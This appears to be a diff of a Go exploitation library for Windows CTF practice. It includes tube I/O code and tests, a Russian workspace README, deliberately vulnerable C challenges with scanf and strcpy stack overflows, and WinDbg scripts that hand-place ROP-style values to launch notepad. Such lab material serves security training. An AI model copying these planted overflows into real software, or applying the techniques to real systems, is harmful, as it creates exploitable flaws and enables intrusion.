return t.closeErr
|
||||
}
|
||||
|
||||
// withTimeout runs fn on its own goroutine and races it against this tube's
|
||||
// effective timeout. If fn doesn't return in time, withTimeout returns a
|
||||
// timeout error immediately -- but fn's goroutine is *not* killed (the
|
||||
// underlying pipe/socket reader has no native per-call deadline), so it
|
||||
// keeps running in the background until the blocking I/O it's stuck in
|
||||
// eventually completes or errors. That's the standard, and only portable,
|
||||
// way to bolt a deadline onto an arbitrary io.Reader/Writer in Go.
|
||||
func withTimeout[T any](t *Tube, fn func() (T, error)) (T, error) {
|
||||
timeout := t.effectiveTimeout()
|
||||
if timeout <= 0 {
|
||||
return fn()
|
||||
}
|
||||
type result struct {
|
||||
v T
|
||||
err error
|
||||
}
|
||||
ch := make(chan result, 1)
|
||||
go func() {
|
||||
v, err := fn()
|
||||
ch <- result{v, err}
|
||||
}()
|
||||
select {
|
||||
case r := <-ch:
|
||||
return r.v, r.err
|
||||
case <-time.After(timeout):
|
||||
var zero T
|
||||
return zero, fmt.Errorf("winpwn: operation timed out after %s", timeout)
|
||||
}
|
||||
}
|
||||
|
||||
// Recv reads up to n bytes from the tube, blocking until n bytes have
|
||||
// arrived. On a clean EOF after at least one byte it returns the partial
|
||||
// read with a nil error (mirroring the old behavior); on EOF with nothing
|
||||
// read yet, it returns io.EOF.
|
||||
func (t *Tube) Recv(n int) ([]byte, error) {
|
||||
return withTimeout(t, func() ([]byte, error) {
|
||||
buf := make([]byte, n)
|
||||
read, err := io.ReadFull(t.reader, buf)
|
||||
if err != nil {
|
||||
if err == io.ErrUnexpectedEOF || err == io.EOF {
|
||||
if read > 0 {
|
||||
return buf[:read], nil
|
||||
}
|
||||
return nil, io.EOF
|
||||
}
|
||||
return buf[:read], err
|
||||
}
|
||||
return buf, nil
|
||||
})
|
||||
}
|
||||
|
||||
// RecvUntil reads from the tube until delim is seen (inclusive of delim).
|
||||
func (t *Tube) RecvUntil(delim []byte) ([]byte, error) {
|
||||
return withTimeout(t, func() ([]byte, error) {
|
||||
var out []byte
|
||||
for {
|
||||
b, err := t.reader.ReadByte()
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
out = append(out, b)
|
||||
if bytes.HasSuffix(out, delim) {
|
||||
return out, nil
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// RecvLine reads a single line, including the trailing newline
|
||||
// (Context.Newline, "\n" by default).
|
||||
func (t *Tube) RecvLine() ([]byte, error) {
|
||||
return t.RecvUntil(Context.Newline)
|
||||
}
|
||||
|
||||
// RecvPred reads one byte at a time until pred(accumulated) reports true,
|
||||
// the analogue of pwntools' recvpred.
|
||||
func (t *Tube) RecvPred(pred func([]byte) bool) ([]byte, error) {
|
||||
return withTimeout(t, func() ([]byte, error) {
|
||||
var out []byte
|
||||
for {
|
||||
b, err := t.reader.ReadByte()
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
out = append(out, b)
|
||||
if pred(out) {
|
||||
return out, nil
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// RecvRegex reads one byte at a time until the accumulated buffer matches
|
||||
// re, the analogue of pwntools' recvregex.
|
||||
func (t *Tube) RecvRegex(re *regexp.Regexp) ([]byte, error) {
|
||||
return t.RecvPred(func(buf []byte) bool {
|
||||
return re.Match(buf)
|
||||
})
|
||||
}
|
||||
|
||||
// Send writes raw bytes to the tube.
|
||||
func (t *Tube) Send(data []byte) error {
|
||||
_, err := withTimeout(t, func() (int, error) {
|
||||
return t.stdin.Write(data)
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// SendLine writes data followed by Context.Newline.
|
||||
func (t *Tube) SendLine(data []byte) error {
|
||||
return t.Send(append(append([]byte{}, data...), Context.Newline...))
|
||||
}
|
||||
|
||||
// SendAfter waits for delim, then sends data (no trailing newline).
|
||||
func (t *Tube) SendAfter(delim []byte, data []byte) error {
|
||||
if _, err := t.RecvUntil(delim); err != nil {
|
||||
return err
|
||||
}
|
||||
return t.Send(data)
|
||||
}
|
||||
|
||||
// SendLineAfter waits for delim, then sends data followed by a newline.
|
||||
func (t *Tube) SendLineAfter(delim []byte, data []byte) error {
|
||||
if _, err := t.RecvUntil(delim); err != nil {
|
||||
return err
|
||||
}
|
||||
return t.SendLine(data)
|
||||
}
|
||||
|
||||
// Interactive hands the tube's stdin/stdout over to the user's terminal,
|
||||
// the Go analogue of pwntools' tube.interactive(). Ctrl+C cleanly tears
|
||||
// down the local process or remote connection.
|
||||
//
|
||||
// The stdin-forwarding goroutine below has no portable way to be cancelled
|
||||
// in Go (os.Stdin.Read blocks with no deadline support), so it keeps
|
||||
// running until the next keystroke/EOF even after Interactive returns;
|
||||
// the deferred Close() at least makes its next Write fail fast instead of
|
||||
// leaving the target side dangling. This is a known, deliberate limitation,
|
||||
// not an oversight -- don't call Interactive() in a tight loop expecting
|
||||
// the goroutine to be gone before the next iteration.
|
||||
func (t *Tube) Interactive() {
|
||||
defer t.Close()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
||||
defer signal.Stop(sigChan)
|
||||
|
||||
stdoutDone := make(chan struct{})
|
||||
go func() {
|
||||
_, _ = io.Copy(os.Stdout, t.reader)
|
||||
close(stdoutDone)
|
||||
}()
|
||||
|
||||
go func() {
|
||||
_, _ = io.Copy(t.stdin, os.Stdin)
|
||||
}()
|
||||
|
||||
Info("Switching to interactive mode")
|
||||
|
||||
if t.cmd != nil {
|
||||
// Local process branch.
|
||||
waitCh := make(chan error, 1)
|
||||
go func() {
|
||||
waitCh <- t.cmd.Wait()
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-waitCh:
|
||||
if err == nil {
|
||||
Info("Process exited normally (code 0)")
|
||||
} else {
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
code := exitErr.ExitCode()
|
||||
// 0xC0000005 (Access Violation) is the Windows analogue of SIGSEGV.
|
||||
Error("Process crashed/terminated with code: 0x%X", uint32(code))
|
||||
} else {
|
||||
Error("Process execution error: %v", err)
|
||||
}
|
||||
}
|
||||
case <-sigChan:
|
||||
Info("Interrupted by user, killing process...")
|
||||
}
|
||||
} else {
|
||||
// Remote connection branch.
|
||||
select {
|
||||
case <-stdoutDone:
|
||||
Info("Connection closed by foreign host")
|
||||
case <-sigChan:
|
||||
Info("Interrupted by user, closing connection...")
|
||||
}
|
||||
}
|
||||
}
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"io"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// newPipeTube wires a Tube to an in-memory io.Pipe pair instead of a real
|
||||
// process/socket, so Tube's framing logic (Send/Recv/RecvUntil/timeouts) can
|
||||
// be unit-tested without spawning anything OS-specific. Returns the tube
|
||||
// plus the "remote" end the test drives directly.
|
||||
func newPipeTube() (tube *Tube, remoteRead *io.PipeReader, remoteWrite *io.PipeWriter) {
|
||||
toTube, fromRemote := io.Pipe() // remote writes fromRemote -> tube reads toTube
|
||||
toRemote, fromTube := io.Pipe() // tube writes fromTube -> remote reads toRemote
|
||||
tube = newTube(nil, nil, fromTube, toTube)
|
||||
return tube, toRemote, fromRemote
|
||||
}
|
||||
|
||||
func TestTubeSendRecv(t *testing.T) {
|
||||
tube, remoteRead, remoteWrite := newPipeTube()
|
||||
defer tube.Close()
|
||||
|
||||
go func() {
|
||||
buf := make([]byte, 5)
|
||||
_, _ = io.ReadFull(remoteRead, buf)
|
||||
_, _ = remoteWrite.Write([]byte("got: "))
|
||||
_, _ = remoteWrite.Write(buf)
|
||||
}()
|
||||
|
||||
if err := tube.Send([]byte("hello")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := tube.Recv(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != "got: hello" {
|
||||
t.Errorf("Recv = %q, want %q", got, "got: hello")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTubeRecvUntil(t *testing.T) {
|
||||
tube, _, remoteWrite := newPipeTube()
|
||||
defer tube.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = remoteWrite.Write([]byte("foo bar: baz\n"))
|
||||
}()
|
||||
|
||||
got, err := tube.RecvUntil([]byte(": "))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != "foo bar: " {
|
||||
t.Errorf("RecvUntil = %q, want %q", got, "foo bar: ")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTubeRecvLineUsesContextNewline(t *testing.T) {
|
||||
tube, _, remoteWrite := newPipeTube()
|
||||
defer tube.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = remoteWrite.Write([]byte("first line\nsecond"))
|
||||
}()
|
||||
|
||||
got, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != "first line\n" {
|
||||
t.Errorf("RecvLine = %q, want %q", got, "first line\n")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTubeSendAfter(t *testing.T) {
|
||||
tube, remoteRead, remoteWrite := newPipeTube()
|
||||
defer tube.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = remoteWrite.Write([]byte("password: "))
|
||||
buf := make([]byte, 6)
|
||||
_, _ = io.ReadFull(remoteRead, buf)
|
||||
_, _ = remoteWrite.Write(buf)
|
||||
}()
|
||||
|
||||
if err := tube.SendAfter([]byte(": "), []byte("secret")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := tube.Recv(6)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != "secret" {
|
||||
t.Errorf("echoed payload = %q, want %q", got, "secret")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTubeRecvTimesOutOnHang(t *testing.T) {
|
||||
tube, _, _ := newPipeTube() // nobody ever writes
|
||||
defer tube.Close()
|
||||
tube.SetTimeout(50 * time.Millisecond)
|
||||
|
||||
start := time.Now()
|
||||
_, err := tube.Recv(1)
|
||||
if err == nil {
|
||||
t.Fatal("expected a timeout error, got nil")
|
||||
}
|
||||
if elapsed := time.Since(start); elapsed > time.Second {
|
||||
t.Errorf("timeout took %s, expected ~50ms", elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTubeCloseIsIdempotent(t *testing.T) {
|
||||
tube, _, _ := newPipeTube()
|
||||
if err := tube.Close(); err != nil {
|
||||
t.Fatalf("first Close: %v", err)
|
||||
}
|
||||
if err := tube.Close(); err != nil {
|
||||
t.Fatalf("second Close should be a no-op, got: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
# CTF Workspace
|
||||
|
||||
Рабочая папка для решения задач с winpwn. Библиотека — в `../go_pwner/`, не трогай.
|
||||
|
||||
## Структура
|
||||
|
||||
```
|
||||
workspace/
|
||||
├── go.mod ← replace winpwn => ../go_pwner (не трогай)
|
||||
├── template/ ← шаблон нового solve-скрипта
|
||||
│ └── main.go
|
||||
│
|
||||
├── bof_basic/ ← стек overflow, базовый
|
||||
├── task1_leak/ ← info leak → redirect (нет ASLR)
|
||||
├── task2_rop/ ← BOF + ROP chain + DEP
|
||||
├── task3_fmtstr/ ← format string (нет скомпилированного бинаря)
|
||||
│
|
||||
├── heap_lfh/ ← UAF + LFH grooming
|
||||
├── heap_typemix/ ← UAF type confusion, без LFH
|
||||
├── heap_overflow/ ← adjacent chunk overflow, NT Heap backend
|
||||
├── heap_segment/ ← adjacent chunk overflow, Segment Heap
|
||||
├── heap_info_leak/ ← OOB read + ASLR bypass + UAF
|
||||
│
|
||||
└── demos/ ← демо API winpwn, не задачи
|
||||
├── pe_multitool/ ← checksec, IAT/EAT, ROP-сканер
|
||||
├── shellcraft_winexec/ ← генерация PIC x64 shellcode
|
||||
└── leak_msvcrt/ ← поиск system() + cmd.exe в msvcrt.dll
|
||||
```
|
||||
|
||||
Каждая задача:
|
||||
```
|
||||
task1_leak/
|
||||
├── main.go ← solve-скрипт, запускать отсюда: go run .
|
||||
├── task1.exe ← бинарь-цель
|
||||
├── flag.txt ← флаг (открывается целевым процессом)
|
||||
└── src/
|
||||
└── task1.c ← исходник задачи
|
||||
```
|
||||
|
||||
## Запуск
|
||||
|
||||
```
|
||||
cd C:\tools\workspace\task1_leak
|
||||
go run .
|
||||
```
|
||||
|
||||
## Новая задача
|
||||
|
||||
```
|
||||
cd C:\tools\workspace
|
||||
mkdir mynew
|
||||
cd mynew
|
||||
# скопируй бинарь: copy C:\path\to\chal.exe .
|
||||
# скопируй шаблон: copy ..\template\main.go .
|
||||
go run .
|
||||
```
|
||||
|
||||
## Документация
|
||||
|
||||
- `C:\tools\go_pwner\USAGE_RU.md` — краткий справочник по-русски
|
||||
- `C:\tools\go_pwner\USAGE.md` — полный гайд на английском
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Bash(find / -iname \"winpwn*\" -not -path \"*/node_modules/*\" 2>/dev/null | head -50)"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// Функция для парсинга PEB и поиска WinExec
|
||||
FARPROC FindWinExec() {
|
||||
// Получаем PEB через FS регистр
|
||||
#ifdef _WIN64
|
||||
PPEB pPEB = (PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
PPEB pPEB = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
|
||||
// Получаем LDR (Loader Data)
|
||||
PPEB_LDR_DATA pLDR = pPEB->Ldr;
|
||||
|
||||
// Проходим по списку загруженных модулей
|
||||
LIST_ENTRY* pModuleList = &pLDR->InMemoryOrderModuleList;
|
||||
LIST_ENTRY* pEntry = pModuleList->Flink;
|
||||
|
||||
// Ищем kernel32.dll
|
||||
while (pEntry != pModuleList) {
|
||||
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||
|
||||
// Проверяем имя модуля
|
||||
WCHAR* moduleName = pModule->BaseDllName.Buffer;
|
||||
if (moduleName && wcsstr(moduleName, L"kernel32.dll")) {
|
||||
HMODULE hKernel32 = (HMODULE)pModule->DllBase;
|
||||
|
||||
// Ищем WinExec в kernel32.dll
|
||||
FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec");
|
||||
if (pWinExec) {
|
||||
printf("[+] Found WinExec at: 0x%p\n", pWinExec);
|
||||
return pWinExec;
|
||||
}
|
||||
}
|
||||
pEntry = pEntry->Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Функция для открытия и парсинга .exe файла
|
||||
void ParseExeFile(const char* filename) {
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("[-] Failed to open file: %s\n", filename);
|
||||
return;
|
||||
}
|
||||
|
||||
// Читаем DOS заголовок
|
||||
IMAGE_DOS_HEADER dosHeader;
|
||||
DWORD bytesRead;
|
||||
if (!ReadFile(hFile, &dosHeader, sizeof(dosHeader), &bytesRead, NULL)) {
|
||||
printf("[-] Failed to read DOS header\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Проверяем сигнатуру DOS
|
||||
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
printf("[-] Invalid DOS signature\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Переходим к PE заголовку
|
||||
SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN);
|
||||
|
||||
// Читаем PE сигнатуру
|
||||
DWORD peSignature;
|
||||
ReadFile(hFile, &peSignature, sizeof(peSignature), &bytesRead, NULL);
|
||||
|
||||
if (peSignature != IMAGE_NT_SIGNATURE) {
|
||||
printf("[-] Invalid PE signature\n");
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Читаем файловый заголовок
|
||||
IMAGE_FILE_HEADER fileHeader;
|
||||
ReadFile(hFile, &fileHeader, sizeof(fileHeader), &bytesRead, NULL);
|
||||
|
||||
printf("[+] File is a valid PE executable\n");
|
||||
printf("[+] Number of sections: %d\n", fileHeader.NumberOfSections);
|
||||
printf("[+] Size of optional header: %d\n", fileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// Читаем опциональный заголовок
|
||||
IMAGE_OPTIONAL_HEADER32 optionalHeader;
|
||||
ReadFile(hFile, &optionalHeader, sizeof(optionalHeader), &bytesRead, NULL);
|
||||
|
||||
printf("[+] Entry point: 0x%X\n", optionalHeader.AddressOfEntryPoint);
|
||||
printf("[+] Image base: 0x%X\n", optionalHeader.ImageBase);
|
||||
|
||||
// Читаем секции
|
||||
printf("\n[+] Sections:\n");
|
||||
for (int i = 0; i < fileHeader.NumberOfSections; i++) {
|
||||
IMAGE_SECTION_HEADER sectionHeader;
|
||||
ReadFile(hFile, §ionHeader, sizeof(sectionHeader), &bytesRead, NULL);
|
||||
|
||||
printf(" %s - VA: 0x%X, Size: 0x%X\n",
|
||||
sectionHeader.Name,
|
||||
sectionHeader.VirtualAddress,
|
||||
sectionHeader.SizeOfRawData);
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
// Функция-победитель (win)
|
||||
void win(void) {
|
||||
printf("flag{ret2win_but_its_WINDOWS}\n");
|
||||
|
||||
// Находим WinExec через PEB
|
||||
FARPROC pWinExec = FindWinExec();
|
||||
if (pWinExec) {
|
||||
// Запускаем калькулятор через WinExec
|
||||
typedef void (*WinExec_t)(LPCSTR, UINT);
|
||||
WinExec_t WinExec_func = (WinExec_t)pWinExec;
|
||||
WinExec_func("mspaint.exe", SW_SHOW);
|
||||
printf("[+] paint launched!\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Уязвимая функция
|
||||
void vulnerable_function() {
|
||||
char buf[16];
|
||||
|
||||
printf("enter your data:\n");
|
||||
scanf("%s", buf);
|
||||
|
||||
printf("try again\n");
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
printf("=== Windows Buffer Overflow CTF Challenge ===\n\n");
|
||||
|
||||
// Если передан аргумент, парсим .exe файл
|
||||
if (argc > 1) {
|
||||
printf("[*] Parsing PE file: %s\n", argv[1]);
|
||||
ParseExeFile(argv[1]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
// Демонстрируем поиск WinExec через PEB
|
||||
printf("[*] Finding WinExec via PEB parsing...\n");
|
||||
FARPROC pWinExec = FindWinExec();
|
||||
if (pWinExec) {
|
||||
printf("[+] WinExec found at: 0x%p\n", pWinExec);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Вызываем уязвимую функцию
|
||||
vulnerable_function();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
void copy(const char *p)
|
||||
{
|
||||
char buffer[40];
|
||||
strcpy(buffer, p);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc != 2) return 1;
|
||||
|
||||
copy(argv[1]);
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,17 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp 7ff8072a8820
|
||||
g
|
||||
r rsp
|
||||
!teb
|
||||
gu
|
||||
r rax
|
||||
!gle
|
||||
q
|
||||
@@ -0,0 +1,14 @@
|
||||
bp 0x14000729d
|
||||
g
|
||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
||||
eq 14fe80+38 7ff80826a853
|
||||
eq 14fe80+40 14fe80
|
||||
eq 14fe80+48 7ff8082dcc27
|
||||
eq 14fe80+50 1
|
||||
eq 14fe80+58 0
|
||||
eq 14fe80+60 7ff8072a8820
|
||||
bp 7ff8072a8820
|
||||
g
|
||||
da 14fe80
|
||||
r rcx,rdx
|
||||
q
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user